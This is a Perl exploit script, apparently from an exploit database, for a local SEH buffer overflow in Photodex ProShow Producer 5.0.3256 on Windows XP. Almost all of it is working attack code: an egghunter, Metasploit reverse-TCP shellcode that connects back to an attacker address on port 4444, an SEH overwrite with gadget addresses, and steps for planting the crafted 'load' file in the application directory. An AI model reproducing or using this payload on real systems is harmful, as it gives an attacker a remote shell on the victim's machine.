Photodex ProShow Producer 5.0.3256 – Local Buffer Overflow
####################################################################################### # Exploit Title: Photodex ProShow Producer v5.0.3256 - Local Buffer Overflow Exploit # Date: 22/07/2012 # Author: mr.pr0n (@_pr0n_) # Homepage: http://ghostinthelab.wordpress.com/ # Software Link: http://files.photodex.com/release/pspro_50_3256.exe # Version: v5.0.3256 # Tested on: Windows XP SP3 # +-----------------------------------------------------+ # | This vulnerability was discovered and researched | # | by Julien Ahrens [from Inshell] | # | http://www.exploit-db.com/exploits/19563/ | # +-----------------------------------------------------+ ###################################################################################### # The egghunter. $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02". "\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "w00t". # <-- The 4 byte tag "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; # MSF windows/shell_reverse_tcp # LHOST=192.168.178.27 LPORT=4444 $shellcode = "\xb8\x78\x6f\x18\xec\xdb\xcf\xd9\x74\x24\xf4\x5a\x31\xc9\xb1". "\x4f\x31\x42\x14\x83\xea\xfc\x03\x42\x10\x9a\x9a\xe4\x04\xd3". "\x65\x15\xd5\x83\xec\xf0\xe4\x91\x8b\x71\x54\x25\xdf\xd4\x55". "\xce\x8d\xcc\xee\xa2\x19\xe2\x47\x08\x7c\xcd\x58\xbd\x40\x81". "\x9b\xdc\x3c\xd8\xcf\x3e\x7c\x13\x02\x3f\xb9\x4e\xed\x6d\x12". "\x04\x5c\x81\x17\x58\x5d\xa0\xf7\xd6\xdd\xda\x72\x28\xa9\x50". "\x7c\x79\x02\xef\x36\x61\x28\xb7\xe6\x90\xfd\xa4\xdb\xdb\x8a". "\x1e\xaf\xdd\x5a\x6f\x50\xec\xa2\x23\x6f\xc0\x2e\x3a\xb7\xe7". "\xd0\x49\xc3\x1b\x6c\x49\x10\x61\xaa\xdc\x85\xc1\x39\x46\x6e". "\xf3\xee\x10\xe5\xff\x5b\x57\xa1\xe3\x5a\xb4\xd9\x18\xd6\x3b". "\x0e\xa9\xac\x1f\x8a\xf1\x77\x3e\x8b\x5f\xd9\x3f\xcb\x38\x86". "\xe5\x87\xab\xd3\x9f\xc5\xa3\x10\xad\xf5\x33\x3f\xa6\x86\x01". "\xe0\x1c\x01\x2a\x69\xba\xd6\x4d\x40\x7a\x48\xb0\x6b\x7a\x40". "\x77\x3f\x2a\xfa\x5e\x40\xa1\xfa\x5f\x95\x65\xab\xcf\x46\xc5". "\x1b\xb0\x36\xad\x71\x3f\x68\xcd\x79\x95\x1f\xca\xee\xd6\x88". "\x66\xf5\xbe\xca\x86\x1b\x63\x42\x60\x71\x8b\x02\x3b\xee\x32". "\x0f\xb7\x8f\xbb\x85\x5f\x33\x29\x42\x9f\x3a\x52\xdd\xc8\x6b". "\xa4\x14\x9c\x81\x9f\x8e\x82\x5b\x79\xe8\x06\x80\xba\xf7\x87". "\x45\x86\xd3\x97\x93\x07\x58\xc3\x4b\x5e\x36\xbd\x2d\x08\xf8". "\x17\xe4\xe7\x52\xff\x71\xc4\x64\x79\x7e\x01\x13\x65\xcf\xfc". "\x62\x9a\xe0\x68\x63\xe3\x1c\x09\x8c\x3e\xa5\x39\xc7\x62\x8c". "\xd1\x8e\xf7\x8c\xbf\x30\x22\xd2\xb9\xb2\xc6\xab\x3d\xaa\xa3". "\xae\x7a\x6c\x58\xc3\x13\x19\x5e\x70\x13\x08"; $file = "load"; # The "load" file $junk = "\x41" x (9844 - length("w00tw00t") - length($shellcode)); $nseh = "\xEB\x06\x90\x90"; # short jump 6 bytes $seh = "\x73\xb0\x22\x10"; # 0x1022b073 -p/p/r- [if.dnt] $nops = "\x90" x (100 - length($egghunter)); $exploit = $junk."w00tw00t".$shellcode.$nseh.$seh."\x90\x90\x90\x90".$egghunter.$nops; open($File,">$file"); print $File $exploit; close($File); print " \n[!] The 'load' file, was created successfully (".(length $exploit)." bytes) [!]\n\n"; print "[+] Place the arbitrary 'load' file, into the application directory.\n"; print "[+] Execute the application (proshow.exe) \n"; |